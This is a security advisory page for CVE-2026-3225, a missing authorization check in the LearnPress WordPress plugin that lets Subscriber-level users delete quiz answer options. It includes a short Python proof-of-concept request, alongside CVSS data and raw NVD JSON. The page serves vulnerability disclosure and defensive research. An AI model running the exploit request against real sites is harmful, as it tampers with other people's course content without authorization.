Security Vulnerability Report
中文
CVE-2026-3225 CVSS 4.3 MEDIUM

CVE-2026-3225

Published: 2026-03-23 23:17:13
Last Modified: 2026-04-24 16:32:54

Description

The LearnPress – WordPress LMS Plugin plugin for WordPress is vulnerable to unauthorized deletion of quiz question answers due to a missing capability check in the delete_question_answer() function of the EditQuestionAjax class in all versions up to, and including, 4.3.2.8. The AbstractAjax::catch_lp_ajax() dispatcher verifies a wp_rest nonce but performs no current_user_can() check, and the QuestionAnswerModel::delete() method only validates minimum answer counts without checking user capabilities. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete answer options from any quiz question on the site.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

LearnPress <= 4.3.2.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_url = "http://target-wordpress-site.com/wp-admin/admin-ajax.php" attacker_cookie = "wordpress_logged_in_xxx=..." # Cookie from logged in session # 1. Get a valid nonce (usually requires an authenticated GET request to an API endpoint or page) # For this PoC, assume we have a valid nonce. nonce = "valid_wp_rest_nonce_here" # 2. Prepare the payload to delete a question answer payload = { "action": "delete_question_answer", "question_id": "123", # ID of the target question "answer_id": "456", # ID of the answer to delete "nonce": nonce } # 3. Send the request headers = { "Cookie": attacker_cookie, "Content-Type": "application/x-www-form-urlencoded" } response = requests.post(target_url, data=payload, headers=headers) if response.status_code == 200: print("[+] Potential success. Check if answer was deleted.") else: print("[-] Request failed.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-3225", "sourceIdentifier": "[email protected]", "published": "2026-03-23T23:17:13.047", "lastModified": "2026-04-24T16:32:53.997", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The LearnPress – WordPress LMS Plugin plugin for WordPress is vulnerable to unauthorized deletion of quiz question answers due to a missing capability check in the delete_question_answer() function of the EditQuestionAjax class in all versions up to, and including, 4.3.2.8. The AbstractAjax::catch_lp_ajax() dispatcher verifies a wp_rest nonce but performs no current_user_can() check, and the QuestionAnswerModel::delete() method only validates minimum answer counts without checking user capabilities. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete answer options from any quiz question on the site."}, {"lang": "es", "value": "El plugin LearnPress – WordPress LMS Plugin para WordPress es vulnerable a la eliminación no autorizada de respuestas a preguntas de cuestionario debido a una verificación de capacidad faltante en la función delete_question_answer() de la clase EditQuestionAjax en todas las versiones hasta la 4.3.2.8, inclusive. El despachador AbstractAjax::catch_lp_ajax() verifica un nonce de wp_rest pero no realiza ninguna verificación de current_user_can(), y el método QuestionAnswerModel::delete() solo valida recuentos mínimos de respuestas sin verificar las capacidades del usuario. Esto hace posible que atacantes autenticados, con acceso de nivel Suscriptor y superior, eliminen opciones de respuesta de cualquier pregunta de cuestionario en el sitio."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/learnpress/tags/4.3.2.7/inc/Ajax/AbstractAjax.php#L17", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/learnpress/tags/4.3.2.7/inc/Ajax/EditQuestionAjax.php#L284", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/learnpress/tags/4.3.2.7/inc/Models/Question/QuestionAnswerModel.php#L243", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?old_path=/learnpress/tags/4.3.2.8&new_path=/learnpress/tags/4.3.3", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/fc4afb78-fca6-4cc2-8e64-4785d93055e6?source=cve", "source": "[email protected]"}]}}